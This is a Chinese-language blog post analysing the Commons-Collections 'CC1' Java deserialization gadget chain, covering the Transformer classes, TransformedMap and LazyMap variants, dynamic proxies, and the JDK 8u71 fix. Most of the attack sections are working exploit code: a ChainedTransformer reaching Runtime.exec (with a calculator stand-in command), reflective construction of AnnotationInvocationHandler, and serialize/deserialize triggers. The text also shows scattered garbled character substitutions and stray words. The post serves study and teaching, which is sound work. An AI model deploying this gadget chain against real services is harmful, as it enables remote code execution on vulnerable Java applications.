前文介绍了最简单的反序列化链URLDNS,虽然URLDNS自己不依赖第三方包且调用简单,但不能作到漏洞利用,仅能作漏洞探测,如何才能实现RCE呢,因而就有Common-collections1-七、Common-BeanUtils等这些三方库的利用。本文须要前置知识Java反射、动态代理等。CC1其实比较难,会用到不少高级特性,但理解了CC1后面的payload也就能轻松理解了。java
Common-collections是对jdk自带的数据类型的三方加强框架,相似python里面的collections包,common-collections 目前有两个分支,3.X和4.X,从pom文件里面能够看到二者的groupId与artifactId都不一样,拥有不一样的命名空间,因此能够在一个包里面能够同时使用。python
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
这两个包大部分的用法都很相似,咱们先来了解包里面很重要的四大Transform。apache
要学习CC链(我把基于common-collections利用的链简称为CC链),首先得了解CC链中用到的类及方法的基础用法,咱们须要了解CC中提供的四大Transformer。数组
这一篇文章先介绍前三种,后面介绍InstantiateTransformer安全
在源码中,做者对这个类的解释是,这个类按照Transformer接口规范以反射的方式生成一个新对象
。app
咱们就很清楚这个类就是拿来生成新对象的,而且是经过Transformer接口定义的transform()方法生成的,能够看到Transformer接口的描述框架
InvokerTransformer的实现:ide
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
其中的iMethodName、iParamTypes、iArgs来自于构造方法.函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
InvokerTransformer.transform(Object input) ,就是以反射方式执行input对象的传入构造方法中的method方法。工具
其实common-collections的万恶之源也就是这个类,由于这个类可以根据传参动态生成新的对象,若是参数可控的状况下,咱们能够用这个类来动态执行代码,如:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); invokerTransformer.transform(Runtime.getRuntime());
执行效果:
ConstantTransformer 这个类功能比较简单,就是将初始化传入的对象变为final后执行transform返回。
String test = new String("1111111"); ConstantTransformer transformer = new ConstantTransformer(test); Object obj = transformer.transform(null); System.out.println(test.hashCode()); System.out.println(obj.hashCode());
代码执行后输出:
能够通俗理解初始化传入什么transform就会返回什么。
ChainedTransformer 理解起来可能会绕一些,初始化时传入transforms数组.
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; }
执行transform方法时会遍历初始化传入的数组,并将上一个对象执行transforms的结果做为下一个对象执行transform的参数,以链式方式进行执行
public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
在已经清楚了InvokerTransformer、ConstantTransformer的状况下咱们能够用他们精心构造一个transform数组来演示Chaninedtransformer。咱们构造链一个Transformer数组,里面的元素有预先定义好的ConstantTransformer与InvokerTransformer。
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(null);
执行chainedTransformer.transform(null)方法时,其实内部至关因而这么调用的:
执行效果:
在前面咱们其实已经简单构造了一个恶意类了,即上面精心构造的chainedTransformer,咱们只要去代码的海洋里面找到有谁会调用chainedTransformer的transform方法就能触发代码执行,而后安全人员就发现了两个方法能够对这个恶意类进一步的包装,使其变成一个通用的数据类型,一个是TransformedMap.decorate 另外一个 lazyMap.decorate, 这两种方式都是对普通Map进行加强,使其在特定场合可以触发transform。也就是恶意类转变为了Map,使其利用更加通用。
咱们来看一下TransformedMap.decorate()
这个方法吧,提供了三个参数 原始map、keyTransformer、valueTransformer
跟进TransformerMap 发现其重写了map的许多方法,有checkSetValue、put、putAll ,加强map在执行这三个方法时就会执行初始化入参的Transformer.transform()方法,假如咱们传入的就是咱们构造的恶意chained Transformer ,那就成功的触发了恶意类。不过keytransform是对key进行执行,valueTransformer是对map的value执行,但其实父类的setValue也会调用checkSetValue,因此实际上是有checkSetValue、put、putAll、setValue 调用就会触发恶意类执行。
这个时候这个恶意类的使用范围就一下扩大了,毕竟不少地方都会对map进行put或者setValue的操做,那安全人员首先就找到了sun.reflect.annotation.AnnotationInvocationHandler
这个类,这是一个JDK自带的类(rt.jar/sun/reflect/annotation/AnnotationInvocationHandler),这个类在反序列化后通过一系列骚操做最后就会调用咱们上面的恶意类,分析反序列化漏洞会先从类的readObject开始,看一下AnnotationInvocationHandler 的readObject方法(jdk1.8.20),咱们以前说过只要对map进行checkSetValue、put、putAll、setValue就能触发恶意类执行,那在代码的293行就很明显有调用setValue方法。
293行中的var5 实际上是对象私有属性memberValue的值,只要咱们将memberValue值赋于咱们的恶意类,那这个漏洞是否是就串起来了。
因此咱们整理下,而后用本身的代码来实现验证:
第一步,基于InvokeTransformer、ConstantTransformer生成一个恶意的ChainedTransformer
public class Test { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; //打开计算器,不一样平台须要替换命令 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{new Object(),new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // chainedTransformer.transform(1); 测试触发 } }
这里可能会有人会疑问为啥这个transformers 数组会经过Runtime.class 去不断反射执行,而不是像以前介绍InvokeTransformer时直接使用getRuntime()呢,即下面的transform1和transfom2在生成chainedTransfomer时有什么区别:
Transformer[] transformers1 = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; Transformer[] transformers2 = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) };
其实真正可以完成反序列化代码执行只有transformers1,为啥? 由于Java 要能完成序列化与反序列化要求这个被序列化的类有继承Serializable,而Runtime类没有继承,因此直接使用transformers2 就会报错。
第二步,使用TransformedMap.decorate()
生成一个通过transformer加强的map恶意类
这里咱们使用生成一个原始的hashmap,key和value 先随便设,这里先留个心眼,等会咱们还要回头看,TransformedMap 调用setValue其实是调用了valueTransformer,因此应该将transfomer给到第三个参数。
第二步代码以下
// 第二步 HashMap<String,String> hashMap = new HashMap<>(); hashMap.put("testKey","testVal"); // 这个地方留坑 Map evilMap = TransformedMap.decorate(hashMap,null,chainedTransformer); // Map.Entry entry = (Map.Entry) evilMap.entrySet().iterator().next(); // entry.setValue("1"); 测试触发
第三步,给AnnotationInvocationHandler私有变量memberValues 赋值恶意对象
AnnotationInvocationHandler 的构造函数没有用public修饰,无法直接经过new 的方式生成对象,因此咱们要经过万能的反射获取构造方法,而后执行newInstance的方式来生成AnnotationInvocationHandler对象。其中构造方法第一个参数要求为Annotaion的子类,咱们这里传入@Target,第二个参数即为咱们想要赋值的变量memberValues。
代码:
// 第三步 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); // 经过反射获取构造器 constructor.setAccessible(true); // 设置能够访问 InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 传入@target和恶意map
第四步 反序列化触发
// 第四步 String path = ExpUtils.serialize(evilHandler); // 使用本身封装的序列化函数返回序列化文件的路径 ExpUtils.unserialize(path); // 反序列指定文件
执行这全部步骤的代码,但并无按照咱们预期的执行命令而后弹出计算器。
打上断点进行调试看一看
原来在执行setvalue前有一个if分支,要求var7不为null,而这个var7 是AnnotationInvocationHandler构造传参的第一个注解参数获取咱们恶意map的key的返回值,因此要是var7不为null,恶意map的key为一个有意义的值,那应该是啥呢,打开var3变量能够看到只要将key设置为value
var7便可不为null。
因此修改第二步hashMap中key为value,从新运行代码
成功执行,没毛病~
目前这个利用方式害只能在较低的jdk版本运行,1.8.71 如下,高版本移除了对memberValue的setValue方法
其实这个思路和yso中cc1的利用链还不一样,也就是这其实不是CC1 ,只是另一种方式的利用方法,那真正的CC1是怎么利用的呢? 请看思路二
思路一是经过readObject中的存在触发函数而利用的,而思路二则是回归AnnotationInvocationHandler
这个类自己,AnnotationInvocationHandler 实现了InvocationHandler,而InvocationHandler 是做为jdk动态代理使用的,经过调用InvocationHandler中的invoke方法来对被代理对象进行加强。
这里展开下动态代理吧
其实代理分为静态代理与动态代理,静态代理即手动的建立一个代理类,在代理类中调用本来的类,外界经过手动掉用代理的方式实现类被代理的效果,静态的方式有明显的缺点,如我想为某一个类增长一个埋点上报的功能,这个时候用静态代理没有问题,但我还有若干个类也想埋点上报这就须要我编写若干个代理类,不方便实际使用,因此动态代理就出来了,动态代理能够经过编写一个AnnotationInvocationHandler的实现类就能够为每个想要加强的类实现相似的功能,很是灵活也减小了工做量。
动态代理有不少种实现,总的分为:
动态代理也是Spring核心技术AOP的重要实现方式,下面用一个实例演示JDK动态代理的使用。
项目中存在
Animal接口,定义了动物能干的事:
package ProxyDemo; public interface Animal { public void eat(); }
CatImpl 实现了Animal接口
package ProxyDemo; public class CatImpl implements Animal{ @Override public void eat() { System.out.println("miao~"); } }
AnimalHandler 实现了InvocationHandler接口,重写后的大概逻辑就是在原对象运行的先后分别输出pre和after,注意点是原对象每次执行任意原方法如这里的eat都会调用handler中的invoke方法。
package ProxyDemo; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class AnimalHandler implements InvocationHandler { private final Object obj0; public AnimalHandler(Object obj0){ this.obj0 = obj0; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("pre"); Object res = method.invoke(obj0,args); System.out.println("after"); return res; } }
TestMain 中完成调用具体逻辑, 调用Proxy的静态方法newProxyInstance,分别传入classloader、原类接口、handler
package ProxyDemo; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class TestMain { public static void main(String[] args) { InvocationHandler handler = new AnimalHandler(new CatImpl()); Animal cat = (Animal) Proxy.newProxyInstance(TestMain.class.getClassLoader(),CatImpl.class.getInterfaces(),handler); cat.eat(); } }
执型TestMain的main方法,结果:
明显已经在原来输出miao~的先后加上了pre与after完成了加强,其实我的感受这里特别像python的装饰器。
介绍完JDK动态代理后咱们回过头来看AnnotationInvocationHandler
这个类,咱们发现它就是对InvocationHandler 的实现,具体Invoke逻辑以下:
在53行代码中有对memberValue作get操做,回顾以前TransformedMap加强对hashmap会在setValue时候触发恶意类,那有没有能够经过执行get方法触发恶意类的方式呢? 答案是确定的,就是经过开头咱们提到的LazyMap.decorate
,Lazymap的大体功能根据字面意思也能够知道,就是提供懒加载的功能,具体到执行get方法是,先去判断map中是否存在这个key 若是没有就调用 LazyMap.decorate 初始化传入到transformer对象的transfrom方法,进而出发恶意transform。
那思路其实就清晰了,反序列化过程当中想办法调用AnnotationInvocationHandler 的invoke方法便可触发恶意类执行,那怎么调用invoke方法呢,由于AnnotationInvocationHandler自己就实现了invoke方法,因此咱们直接用它做为动态代理的handler,只要原对象有执行任意方法便可调用invoker完成恶意类执行。此次甚至都不用管var7是否为null了,由于memberValues在其以前有执行entrySet方法,进而调用invoke,调用memberValues.get()方法触发恶意类。
执行流程:
那咱们用本身的代码来实现如下:
第一步 生成LazyMap加强后的map,chainedTransform生成和思路一同样
// chainedTransformer 和思路一辈子成方式一致 String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator"; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<String,String> hashMap = new HashMap<>(); hashMap.put("testKey","testVal"); Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); // 使用lazyMap加强
第二步 生成AnnotationInvocationHandler 对象
同思路一一致,经过反射获取构造函数的方式生成AnnotationInvocationHandler对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); // 反射获取构造函数 constructor.setAccessible(true); InvocationHandler evilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilMap); // 执行构造函数生成对象,传入lazyMap
第三步 经过动态代理使用第二步AnnotationInvocationHandler的代理lazyMap,并将其做为构造方法参数赋值给memberValues
Map evilLazyMap = (Map) Proxy.newProxyInstance(Test2.class.getClassLoader(),evilMap.getClass().getInterfaces(),evilHandler); InvocationHandler finalEvilHandler = (InvocationHandler) constructor.newInstance(Target.class, evilLazyMap); // 传入代理lazyMap
第四步 序列化反序列化触发
String path = ExpUtils.serialize(finalEvilHandler); ExpUtils.unserialize(path);
完美触发,没毛病~
思路二就是CC1链的主要逻辑,但CC1在8u71后不能使用,咱们对比下新老版本,分析一下缘由
左边为新版本右边为旧版本,能够看到在新版jdk中,反序列化再也不经过defaultReadObject方式,而是经过readFields 来获取几个特定的属性,这两种方式有什么区别呢,通过我本身屡次调试发现defaultReadObject 能够恢复对象自己的类属性,好比this.memberValues 就能恢复成咱们本来设置的恶意类,但经过readFields方式,this.memberValues 就为null,因此后续执行get()就必然没发触发,这也就是高版本不能使用的缘由,网上大多会说是由于取消了SetValue致使不能触发,但其实否则,思路一确实是由于这个缘由,但CC1和取消setValue没有半毛钱关系。
通过洋洋洒洒4000多字分析了AnnotationInvocationHandler的两种思路上的利用方式,其中YSO工具中CC1链就是本文中的思路二,CC1 用到了不少高级特性,理解上可能会比较困难,但只要搞懂了后续的链也就很轻松了,目前CC1还只能在低于8u71的版本利用或者比修复这个漏洞前的版本,那若是对方机器是高版本且为Common-collections4 呢,后续的CC2 就来看看Common-collections4下的利用。
p神代码审计知识星球
https://xz.aliyun.com/t/7031#toc-2